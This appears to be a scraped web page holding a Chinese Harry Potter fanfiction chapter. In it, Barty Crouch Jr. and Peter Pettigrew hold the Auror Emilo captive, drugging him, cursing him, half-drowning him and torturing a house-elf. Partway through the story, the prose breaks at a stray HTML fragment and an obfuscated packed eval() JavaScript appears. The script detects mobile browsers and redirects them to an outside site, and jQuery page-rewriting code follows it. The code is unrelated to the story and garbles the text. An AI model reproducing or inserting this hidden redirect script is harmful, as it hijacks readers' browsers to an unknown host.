壁炉里的柴火又快用完了。
埃米洛盯着那摇摇摆摆的火焰,视线在药物作用下有些发飘。火焰里面加了某种香料,香雪兰混合着果木的味道。但埃米洛总觉得被子深处有一股驱散不了的,浮动着阴冷味道,像某种陈年的裹尸布,紧紧贴在他的皮肤上。窗棂外面是加固过的黑铁,弯曲成将天空切割成菱形的碎片,此刻那块碎片正被铅灰色的云絮填满,连风都穿不过铁栏的缝隙。
“咚咚咚。”
门被轻轻敲响,三下。埃米洛收回目光时,家养小精灵闪闪已经站在门口,亚麻色的破布裙扫过地面。她手里的托盘上放着一碗炖菜,旁边是半块的乳酪面包,还有一小杯南瓜汁——都是甜的,用于掩盖魔药的味道。
闪闪的网球眼飞快地瞥了他一眼,又立刻垂下,长耳朵抖得像两片受惊的枯叶。埃米洛注意到她手腕上有新的淤青,青紫色的,像劣质染料泼在苍白的皮肤上。
“放下吧。”他的声音有些沙哑,这是连日来药物作用的结果。
闪闪没应声,将托盘搁在墙角的矮凳上,转身就要幻影移形。
“等一下。”埃米洛撑着墙壁坐直些,肌肉松弛剂让他的胳膊像灌了铅,稍一用力就泛起重坠般的钝痛,“今天的炖菜里,放了多少生死水?”
闪闪猛地僵住,耳朵尖瞬间涨红。“闪闪……闪闪不知道!”她尖声叫起来,双手使劲捂住耳朵,“闪闪只是按小主人的吩咐做!坏巫师别想套话!闪闪要惩罚自己!”
她转身就要用头撞墙,埃米洛却突然咳起来,剧烈的咳嗽让他弯下腰,胸口像是被揉皱的纸团。闪闪的动作顿住了,长耳朵微微转向他,眼里闪过一丝犹豫。
“水……”埃米洛对她说,“南瓜汁太甜了,我想喝水。”
闪闪的嘴唇哆嗦了一下,最终还是从托盘下摸出个锡杯,凭空变出半杯温水放在旁边,然后“啪”地一声幻影移形消失了。
埃米洛盯着那杯温水,指尖悬在半空。他知道这水里大概率也掺了东西——也许是少量的生死水,让他能够睡得更沉。
他试过绝食,但这些药剂通过注射一样可以流到他的身体里,家养小精灵有自己的魔法体系,他们遵循主人的意愿去抓一个人的时候几乎是不可能失败的。他端起杯子,南瓜汁流过喉咙时带着细微的麻意。就是这一点点麻意,让他想起之前的时候,他和阿米莉亚一起去给伯莎过生日,他们三个买了三杯黄油啤酒,泡沫沾在阿米莉亚的鼻尖上,伯莎会笑着用手背给她擦掉,说:“埃米洛你看,这才是真正的魔法”。
比起他自己,他更担心伯莎,因为她是个女孩儿……可能会遭受到的折磨比男孩儿更让人担忧。
小巴蒂·克劳奇每日都带着一种扭曲的兴奋感取走埃米洛的一根头发,而彼得有另外一根——属于伯莎的。
“你不能喝这瓶。”小巴蒂拿着两瓶复方汤剂,脸上咧开一个怪异至极的笑容,对着瑟瑟发抖的彼得说,“你不能用他的脸,懂么?”
埃米洛冷眼观察着。小巴蒂和彼得之间的关系绝非友好,更像是一种病态的掌控与被掌控。彼得表现得极度恐惧小巴蒂,每次出现都缩着肩膀,眼神躲闪,声音尖细发颤,仿佛随时会因对方的一个眼神而崩溃。但埃米洛现在对他的害怕对此深表怀疑。那个在霍格沃茨时期总是跟在詹姆和西里斯身后,显得胆怯而需要保护的男孩,却有勇气在深夜跟着他们溜进禁林“冒险”;那个看起来软弱无能的人,却毅然投奔了当时权势滔天的伏地魔;如今,他又和小巴蒂·克劳奇这样的疯子搅合在一起……
彼得的害怕,有几分是真,几分是演?他似乎永远在害怕——害怕詹姆和西里斯的强势,害怕伏地魔的淫威,现在又害怕小巴蒂的疯癫——但他总能精准地选择站在(或躲在)更强大、更恐怖的一方身后。这种“勇气”与“恐惧”的畸形结合,让埃米洛感到一阵生理性的厌恶。
伯莎可是还想帮你申请梅林胸章的。埃米洛看着他,彼得背过了身,相貌,骨骼,一点点的改变,变成了埃米洛记忆里的姑娘。
至少说明伯莎还活着。埃米洛试图从糟糕的事情中找到一个好消息。提供复方汤剂材料的那个人必须活着,药剂才能起作用。
“看啊……”小巴蒂拿着一面镜子对着两个人,苍白的手指触摸镜子里两个人的脸:“我们现在是不是像同胞兄弟一样?”
魔法部对重要官员有每日的身份校验程序,但小巴蒂——作为前法律执行司司长的儿子——太清楚那些程序可能存在的漏洞以及如何利用它们了。他听到小巴蒂对彼得(故意在埃米洛面前)说“魔法部的评审会,‘德蒙特司长’得去露个面”。埃米洛立刻想到了阿兹卡班的守备、那些关于食死徒刑期复核的法令……如果小巴蒂利用他的身份去撬动哪怕最小的一个缺口,让那些被囚禁的伏地魔残党找到可乘之机。后果不堪设想。
阿米莉亚和其他人能发现他们两个不对劲么?埃米洛觉得难。不是不信任阿米莉亚,而是他下意识想到了最坏的结果:伯莎现在在国际魔法合作司,经常出动辄两三个月的差,顶头上司也被控制住了,彼得只需要伪装成老克劳奇给伯莎安排些任务,几乎没人会怀疑……至于他自己,小巴蒂当然是善于伪装,甚至精于此道的。埃米洛现在都没有想明白罗杰是哪一天被替了包……
埃米洛喝完水,拿起面包。他现在没力气嚼,只能让唾液软化粗糙的麦麸。牙齿与面包摩擦的声音在空荡的囚室里回响,像某种缓慢的倒计时。
罗杰……埃米洛几乎能想象到他现在的样子。克劳奇庄园古老、阴森,弥漫着一种浸透骨髓的湿冷,即使壁炉里燃着火,也无法驱散那仿佛积攒了几个世纪的寒意。
而罗杰的腿断了,天气稍一潮湿便会刺骨地疼痛,需要持续的热敷和魔药调理才能勉强维持行动。被囚禁在这种地方……埃米洛深吸了一口气,那冰冷的空气似乎能冻结他的肺腑。他能肯定,如果罗杰还活着,那他一定在忍受着非人的痛苦。
他把最后一口面包塞进嘴里,突然觉得胃里一阵翻涌。他忍不住的干呕,却什么也吐不出来,只有酸水灼烧着喉咙。墙壁上,他的影子被窗棂切成碎块,像被肢解的囚徒。
“咔哒。”
门锁转动的声音刺破了午后的死寂。埃米洛闭上眼睛,调整呼吸,让自己看起来像在昏睡。肌肉松弛剂让他的眼皮沉得像粘了胶水,正好用来伪装。
脚步声由远及近,停在床边。他能闻到对方身上的味道——香雪兰、薄荷,还有一丝若有若无的、和他相似的冷杉木气息,那是复方汤剂的残留。
“别装了,学长。”小巴蒂的声音带着笑意,“你的呼吸频率变了。”
埃米洛缓缓睁开眼。小巴蒂穿着件黑色的天鹅绒外套,坐在了他的床边。
“我给你带了个老朋友。”小巴蒂的手伸进口袋,“但我想先跟你说说话。”
埃米洛没动。他盯着小巴蒂的脸,这张脸比记忆里瘦削了些,眼下有浓重的青黑,嘴角的笑纹里仿佛藏着毒蛇。他想起对方五年级的时候,小巴蒂在图书馆埋在书堆里,周围没有一个人比他更勤奋了,也许那时候他就该明白他是个偏执的人……
“你知道吗?昨天我用你的脸去见了福吉部长。他说你最近气色不好,让你多休息。”
“他还提到了阿兹卡班。”小巴蒂的声音压低了些,像在说什么秘密,“说最近有几个食死徒的刑期快到了,问‘你’要不要负责复核。你猜我怎么说?”
埃米洛仍然不动于色。跟小巴蒂对话,你的痛苦和纠结都是他的良药。
“我当然是拒绝了。”小巴蒂笑得更开心了,露出尖尖的犬齿,“我怎么会做让学长你不开心的事情呢?那些罪大恶极的食死徒就该烂在阿兹卡班,不是么?”
“……你到底想要干什么。”埃米洛的声音疲惫却带着寒意。
“我想干什么?”小巴蒂慢慢凑近,鼻尖几乎碰到埃米洛的脸颊,“我早就跟你说过了,我就是想离你近一点,你为什么现在都不相信我呢?”
真是胡扯。埃米洛冷漠的想。他当然能清晰地感受到小巴蒂对他那种畸形的情感寄托——一种混合着偏执、病态依恋、遭受“背叛”后的怨恨以及强烈占有欲的复杂情感。这种情感让埃米洛感到荒谬,因为他不知道自己究竟做了什么,会让对方产生如此大的执念,被其牢牢缠住,动弹不得。他觉得小巴蒂只是在跟他演,当然,更大的可能是他本身精神就有问题。
“对了,还有一件事。昨天我去你家了,你的书架上有本《预言家日报》,上面有哈利·波特的照片,唔,看来你和我们小救世主关系不错——”
埃米洛的血液仿佛瞬间冻结了。
“你说,我要不要也给那个小救世主送份‘礼物’?”小巴蒂笑着回头,“比如一把飞天扫帚,或者是巫师棋……他今年多大了,五岁?那应该是读诗翁彼豆故事集的年龄啊……”
“你不可能找到他的,巴蒂·克劳奇。”埃米洛目光锐利的看向他,“更不可能对我摄魂取念得到他的消息……”
小巴蒂的笑容僵在脸上,随即变成更扭曲的兴奋。“你终于肯叫我的名字了,学长。”他舔了舔嘴唇,“这可是个好开始。”
“说好了,送你一样东西。”
埃米洛转头看过去,他的冷杉木魔杖正被小巴蒂握在手里,他拆开了了它,抽出里面的独角兽毛芯,换了根黑漆漆的东西——夜骐的尾羽,或者是龙的神经……埃米洛不知道那到底是什么。
“现在它认识我了。”小巴蒂举着改造后的魔杖在他眼前晃,“你看,它在发光呢。”
埃米洛确实看到了,杖身泛着幽蓝的微光,但那光芒让他想起停尸间的冰灯。他的魔杖在哭,不是用声音,是用魔法的震颤,像濒死的蝴蝶在扑扇翅膀。
他甚至能感受到一种微弱却持久的悲鸣,并非通过耳朵,而是直接回荡在他的意识深处。那是他的魔杖在哭泣,为被强行撕裂的羁绊,为被玷污的本质。这根比他想象中与他联系更深的伙伴,它的哀伤仿佛也传染了他,让他体内某一部分随之陷入低沉和滞涩。
“杀死一个巫师,先杀死他的魔杖。”
这是傲罗训练的第一句话,但他从未像此刻这般,有着血淋淋的、切肤的体会。
“所以说,我可算不上囚禁你,我说过了,你是我的伙伴,我只是请你过来做客。”小巴蒂把魔杖放到他枕边:“物归原主,如果你还想要什么东西,我都会给你带来的。”
……
埃米洛试着去策反家养小精灵,用一些小陷阱将她解雇,以及跟她打感情牌。
“闪闪,”埃米洛努力让自己的语气听起来平和,“我知道你忠于克劳奇家族。老巴蒂·克劳奇先生……他以前常向我提起你,说你是他最得力的助手,是最忠诚的家养小精灵。”
闪闪猛地顿住,细长的耳朵抖动了一下,巨大的网球般的眼睛里闪过一丝迷茫和……痛苦。
“克劳奇先生……是好主人……”她尖声说,但声音里带着不确定。
“他一定不希望看到他的家变成现在这样,不希望看到他的儿子……”埃米洛谨慎地选择着词汇,“……做出这些事。你知道的吧,克劳奇家族世世代代都在法律执行司维持正义,你真的愿意看着小主人做出这样的事情么?也许我可以告诉你……怎样维护克劳奇家族的声誉。”
“维持声誉……闪闪,闪闪应该这么做,克劳奇先生会高兴……闪闪不应该继续纵容巴蒂少爷……”
“是的,你看见克劳奇夫人的遗像了么?她每天以泪洗面……你忍心……”
“不!”听到“克劳奇夫人”这五个字,闪闪突然尖叫起来,用力摇着她的大脑袋,仿佛要甩掉什么可怕的想法。
“坏巫师!骗闪闪!闪闪不能背叛小主人!闪闪答应了女主人要照顾小主人!坏巫师想让闪闪被解雇!想让闪闪撕掉自己的耳朵!”
她情绪激动,猛地用头撞向旁边的硬木桌腿,发出“咚”的一声闷响。“坏巫师!闪闪不会听你的!闪闪要惩罚自己!”她又撞了一下,然后飞速的幻影移形了。
这只小精灵比起其他家族的一些显然更加“聪明”,也更顽固地恪守着那套扭曲的奴役逻辑。她总能躲开埃米洛设置的陷阱,并识破了他话语中试图离间的意图。同时,她根本拒绝去深入思考任何可能违背当前主人命令的事情。那天之后,无论埃米洛再对她说任何话,哪怕是简单的“谢谢”,闪闪都像聋了一样,放下食物便立刻消失,绝不与他有任何眼神或语言的交流。
路又堵死一条。埃米洛在心里,将这个方法画上一个大大的叉。
被换了杖芯之后,埃米洛的魔杖开始拒绝他,它会在埃米洛触碰它的时候爆发出抗拒的火花,连带着从接触的地方传来钻心的剧痛。
他握住那根拒绝他的魔杖,同时试图调动体内那些被药物阻塞的魔力。过程痛苦不堪,魔力如同在锈蚀的管道中艰难前行,每一次冲撞都带来精神上的钝痛。
混乱的魔力流在某个关口彻底炸开,无形的冲击波将他猛地拍向墙壁,硬生生在斑驳的墙面上砸出一个浅坑,尘土簌簌落下。他瘫倒在地,咳出带着铁锈味的血沫,眼前阵阵发黑。
别放弃……他对自己说。他听见闪闪的尖叫和咒骂声,家养小精灵把他移动到床上,前去找主人告状。
“巴蒂少爷……”闪闪擦着眼泪:“您不应该给他魔杖……”
“说什么呢?那本来就是学长的东西。”小巴蒂把一瓶生骨灵灌给他,挥退了家养小精灵。
“也许学长你应该试试别的咒语。”他甚至“体贴”的解释道:“比如一些不可饶恕咒……说不定会发现魔杖好用多了呢?想象一下,学长,两道绿光过去,我和彼得学长就都死了。你那时候就可以光明正大的走出这里。谁会审判你呢?我们两个本来就不应该活着。”
“别瞎扯了。”埃米洛冷笑道。能试的他早就试过了。白魔法,黑魔法……他对着桌子上的水杯试了一下四分五裂,水杯纹丝不动(毕竟他的魔力没有多少)。
他当然不可能用这根魔杖杀死小巴蒂,对方敢把这种武器这么交给他,就说明对方有充足的自信他驾驭不了这根魔杖,他对着小巴蒂发射阿瓦达索命,对方可能一道鼻血都不会流。
疏通那些堵塞的魔力需要时间……时间……他现在最缺时间,必须想个办法,把那些药停下来才行。
“哎呀,我以为学长你也是穆迪和梅多斯那一支呢?我记得你那时候是挺反对克劳奇的傲罗法令的。”
“不可饶恕咒和普通的黑魔法不一样,它……”
“它能侵蚀人的灵魂……”小巴蒂接话道:“多少年前的课了?啊哈哈,我真是有点羡慕梅多斯了,她算是你最喜欢的老师么?”
“如果不是克劳奇,我也是很想当老师的,我觉得我会很适合的……真是想想就令人憧憬。桃李满天下,教书育人,看着一个个孩子走向光明的未来……你知道黑魔王也曾经有这个想法么?这又是我们的一个共同点……”
埃米洛觉得现在他已经能无视小巴蒂间歇的发疯了。往常,他和小巴蒂就着一句简单的晚安相互拉扯着,双方似乎都把这个当做某种胜利的标识。而这一天,小巴蒂没有立刻离开,他站在床边,用一种近乎歌唱的轻快语调说着要给他演示一下他的教学,同时手腕一翻,魔杖精准地指向埃米洛。
“魂魄出窍。” 一股冰冷、陌生的意志如同潮水般试图涌入埃米洛的大脑,带着甜腻的诱惑,催促他说话。埃米洛的牙齿瞬间咬紧,全身的肌肉都绷紧了抵抗,意识如同风暴中的礁石,死死守住最后的核心。
他的身体无法控制地剧烈颤抖起来,对抗那外来的入侵需要耗费他巨大的精力,以至于牙龈都被咬破,一缕殷红的血丝从紧抿的唇角淌下。
“他要咬舌!会死!”在一旁缩着的彼得·佩迪鲁突然发出尖利的惊叫。
夺魂咒的力量瞬间如潮水般退去。小巴蒂一步跨上前,动作快得带风,冰冷的手指如同铁钳,毫不留情地卡住埃米洛的双颊,用力一捏——下颌关节发出令人牙酸的“咔吧”声,被强行卸开。
埃米洛痛得闷哼一声,无法合拢的嘴使得唾液和鲜血不受控制地流出。小巴蒂面无表情地看了看,又是利落地一推,“咔吧”一声,将下颌复了位。
“一定要这样不配合吗?”小巴蒂甩了甩手上沾到的血迹,眼神阴鸷下来,那里面没有了之前那种伪装的委屈或狂热,只剩下一种冷冰冰的、不耐烦的残忍,“你就这么想死的话……何必用这种低效的方式?我来带你体验一下更真切的,如何?”
他没有给埃米洛任何反应的时间,粗暴地将他从床上拽起,拖行着穿过冰冷的石廊,进入隔壁一间带着老旧黄铜浴缸的盥洗室。埃米洛无力挣扎,只能任由对方将自己的头猛地按进早已放满冷水的浴缸里。
刺骨的冷水瞬间淹没口鼻,涌入耳道。最初的冰冷过后,是窒息感的迅猛袭来。肺部开始灼烧,本能地渴望空气,喉咙和胸腔剧烈痉挛。眼前的一切变得模糊,耳边只有水流沉闷的轰鸣和自己心脏疯狂擂动的声音。意识像被拉扯的丝线,开始逐渐模糊、飘远……黑暗的边缘逐渐蔓延……
就在他即将彻底失去意识的前一秒,一股巨大的力量揪住他的头发,将他猛地提出了水面。
“咳!咳咳咳……”埃米洛趴在浴缸边缘,剧烈地咳嗽、干呕,肺叶如同撕裂般疼痛,冰冷的水呛得他涕泪横流,狼狈不堪。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186198|175933||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“懂了吗?学长,”小巴蒂阴冷的气息吹拂在他湿透的耳侧,声音里带着一种令人胆寒的、施虐后的平静,“这就是被死神一点点追上的感觉。看清楚了吗?巫师比麻瓜高贵的一点就在这里——我们能更清晰、更可控地体验这种极限,而不是像他们一样,只能在意外和疾病中被动地、丑陋地迎接终结。”
“……你怕死?”埃米洛气息微弱地反问,湿透的头发耷拉在额前,水珠不断沿着眉骨和鼻梁流下。“和你那所谓的父亲一样?这难道不是一种胆小鬼的行为么?”
他觉得好笑,笑黑魔王和他的信徒都如此惧怕世间最普遍,谁也逃不开的规律。
小巴蒂居高临下地看了他一眼,那眼神深不见底。“我不希望你死,我希望你和父亲一样长生,我们三个一起。”
“所谓的长生都是假的,没有人能绕过死神。”埃米洛咳出最后一口水,深吸一口气,脑中突然闪过了戈德里克山谷詹姆和莉莉的墓碑,还有艾莲娜的……他觉得他可能触碰到了小巴蒂深层的心理,这是一个机会:“你不应该惧怕它,逝去的人……他们以另一种方式残存在我们的记忆中,所有逝去的都会以另一种方式回来……”
“是啊,”小巴蒂呢喃道:“你还是懂我的……我也正是在做这样的事情。”
埃米洛顿时产生了一种鸡同鸭讲的无力感,刚打算继续开口,就见他举起了魔杖。 “Langlock。”(锁舌封喉)埃米洛顿时感觉自己的舌头仿佛被瞬间冻僵、粘在了上颚,再也发不出任何音节。
“不好意思,我实在是有些不放心,”小巴蒂的语气恢复了那种令人不适的轻快,“请你别再想着自杀。这样你还能在这里呆得舒服点。如果你再让我看到你有这样的念头……”
“你忘了伯莎·乔金斯还在我们手里了吗?嗯?她的生命安全,可全系于学长你的一念之间了。” 他直起身,示意一直候在门口、瑟瑟发抖的闪闪:“把他弄干净,送回去。记得多加点生死水,别让他做噩梦。”
这次濒死的体验显然吓坏了彼得,也彻底激怒了小巴蒂。他好几天都没来找他说话。家养小精灵闪闪毫无疑问地和她的主人站在同一阵线。她将浑身湿透的埃米洛粗暴地扔回卧室的床上,没有给他一件干爽的衣服。壁炉里也没有生火。
潮湿的衣服紧紧贴在皮肤上,贪婪地吸收着他体内本就稀薄的热量。埃米洛蜷缩起来,冬日的寒意透过石墙,透过单薄的湿衣,毫无阻碍地渗透进来,冻得他牙齿格格打颤,几乎感觉不到四肢的存在。冰冷的布料如同第二层皮肤,却又带着浸透骨髓的寒意。
第二天早晨醒来时,他感到喉咙如同被砂纸打磨过般干痛,头像要裂开一样沉重剧痛,每一次呼吸都带着滚烫的温度,而身体却一阵阵发冷——他在发烧,而且烧得不轻。
寒冷是从骨髓里渗出来的。一阵阵剧烈的战栗不受控制地席卷过他全身,牙齿磕碰发出细碎而清晰的“咯咯”声,在过分安静的房间里显得格外刺耳。四肢沉重得如同灌满了铅,又像是被无形的冰层冻结,连抬起一根手指都需耗费巨大的、他根本不存在的力气。每一次呼吸都扯得喉咙和胸腔锐痛,吸入的是阴冷潮湿的空气,呼出的却是滚烫灼人的气息,冰火两重天在他体内激烈地拉锯。
眼前的一切都蒙上了一层扭曲晃动的水雾。斑驳的天花板在视野里旋转、变形,偶尔能捕捉到窗外投入的、黯淡的天光,判断不出时辰。听觉却变得异常敏锐,又或者说,是被高烧放大得近乎诡异。他能听见自己心脏在耳膜里沉重又急促的擂动,听见血液在血管里汩汩流动的嗡鸣,甚至能听见灰尘在冰冷空气中缓缓沉降的细微声响。
他只在一片混沌的痛苦中感知到闪闪的到来。家养小精灵没有发出任何声音,像一道沉默而充满怨气的阴影,粗鲁地撬开他因高热而干裂起皮的嘴唇,将一杯冰凉的、掺杂了额外剂量镇定或削弱魔力药剂的牛奶强行灌了进去。
液体滑过灼痛的喉咙,带来短暂的舒缓,随即是更深的、源于魔药本身的冰冷阻塞感在体内蔓延开。他无力反抗,甚至无法做出一个厌恶的表情,只能在呛咳中被灌入大部分,奶渍混合着之前咳出的血丝,狼狈地淌下下颌。闪闪看着他这副惨状,巨大的眼睛里没有丝毫怜悯,只有一种近乎解恨的、扭曲的快意,随即又像躲避什么瘟疫般迅速消失了。
他再次陷入昏迷。梦境光怪陆离,破碎而不祥,充斥着冰冷的水、刺眼的绿光、还有无数模糊的、哭泣哀求的面孔——都是曾经被他删除过的记忆碎片。可在生死水的作用下,他又醒不来,浑身冷汗,心脏狂跳,却分不清那恐惧是源于梦境,还是现实处境投射在精神上的阴影。
再次睁开眼时,窗外已是黄昏。
残阳的血色光芒从未如此清晰地映入他的眼帘——夕阳像一枚巨大的、正在渗血的伤口,悬在远山黯淡的轮廓线上,将稀疏的云朵和房间内部都染上了一种浓稠的、不祥的暖橘红色调。这光线并不温暖,只是徒劳地给冰冷的墙壁镀上一层虚假的暖色,反而更衬出室内的阴冷与死寂。
他怔怔地望着那轮落日,意识在高烧的泥沼中艰难地挣扎,几乎生出一种虚幻的平静感。仿佛那光是某种遥远过去的回声,或是通往另一个平和世界的裂隙。
“我说了,让你照顾好他。”
那声音不高,甚至算得上平稳,但其中蕴含的冰冷压迫感让空气都几乎凝固了。
埃米洛眼珠极其缓慢地转动,视线艰难地聚焦。他看到闪闪跪在床尾不远处的冰冷地板上,整个瘦小的身体几乎匍匐下去,长鼻子紧贴着石面,抖得像一片被狂风肆虐的叶子。她没有尖叫,没有争辩,甚至没有像往常一样立刻惩罚自己,只是一种纯粹的、几乎凝成实质的恐惧笼罩着她。
小巴蒂就站在她面前,背对着窗户,残阳在他周身勾勒出一圈血红色的边缘,面容却隐在阴影里,看不真切。他没有提高声调,也没有做出任何夸张的动作,只是手腕微抬,魔杖指向瑟瑟发抖的小精灵,念了一句低不可闻的咒语。
闪闪猛地一抽,发出一声被极力压抑下去的、尖锐短促的哀鸣,像被无形的东西狠狠蜇了一下心脏。她猛地蜷缩起来,指甲刮擦着地面,身体剧烈地颤抖着,仿佛正承受着某种源自体内的、钻心剜骨般的痛苦。她甚至不敢翻滚,只是死死蜷着,忍受着那持续的折磨。
埃米洛静静地看着,高烧让他的情绪也变得隔膜起来,愤怒或同情都显得遥远而费力。
不知过了多久,那无形的惩戒才停止。闪闪瘫软在地,只剩下细微的、断续的抽噎。
小巴蒂这才转向床边。他手里拿着一瓶琥珀色的魔药,步伐平稳地走近。他在床沿坐下,动作甚至称得上有种诡异的轻柔。他伸出手,穿过埃米洛的颈后,将他的头稍稍托起,然后垫在自己的腿上。
这个姿势让埃米洛不得不更近距离地面对他。小巴蒂垂着眼,脸上没什么表情,既没有愤怒,也没有伪装的委屈或狂热,只有一种全神贯注的、近乎审视的平静。他拔开瓶塞,用银质的小勺舀起一勺魔药,耐心地、一丝不苟地喂到埃米洛干裂的唇边。
魔药带着薄荷般的清凉和一丝苦涩,滑过灼痛的喉咙,暂时压下了那磨砂般的质感。埃米洛无力拒绝,只能被动地一勺一勺吞咽。他的目光越过高烧带来的水雾,越过了小巴蒂的肩膀,再次望向那扇窗。夕阳又下沉了一些,血色愈发浓重。
然后,他感到小巴蒂用手指轻轻拂开他额前被冷汗浸湿的头发。指尖的温度透过皮肤传来,与他自身滚烫的体温和周围空气的冰冷形成了诡异的对比。接着,一块浸过冷水的毛巾被搭在了他的前额,带来瞬间刺痛后的舒缓。
那只手并没有立刻离开,而是缓缓下移,盖住了他的眼睛。
黑暗降临,隔绝了窗外那点残存的光明。那手掌的温度,比他发烧的额头要凉,却又比这地牢里任何东西都要温暖。一种极其荒谬的感觉攫住了埃米洛。施虐者与照料者的形象在这个青年身上疯狂地交织,撕裂又重合。那冰冷的残酷是真的,那不耐烦的残忍是真的,但此刻这看似精心的、甚至带着某种扭曲占有欲的照料……似乎也是真的。
他忽然清晰地意识到,小巴蒂之前所说的——“你对我很重要”——并非完全的谎言或纯粹的演戏。在这种疯狂、破碎、完全扭曲的语境下,这句话竟然拥有了一种可怖的真实性。
埃米洛没有立刻闭上眼睛。他固执地睁着,透过对方指缝间漏出的些许红色光晕,死死盯着那一点点被切割得支离破碎的、微弱的光明……
过了很久,久到小巴蒂维持这个姿势的腿可能已经发麻,久到退烧魔药的效力彻底上来,带来一阵无法抗拒的、沉重的疲惫感,将他拖向昏睡的深渊,埃米洛才终于闭上了眼睛。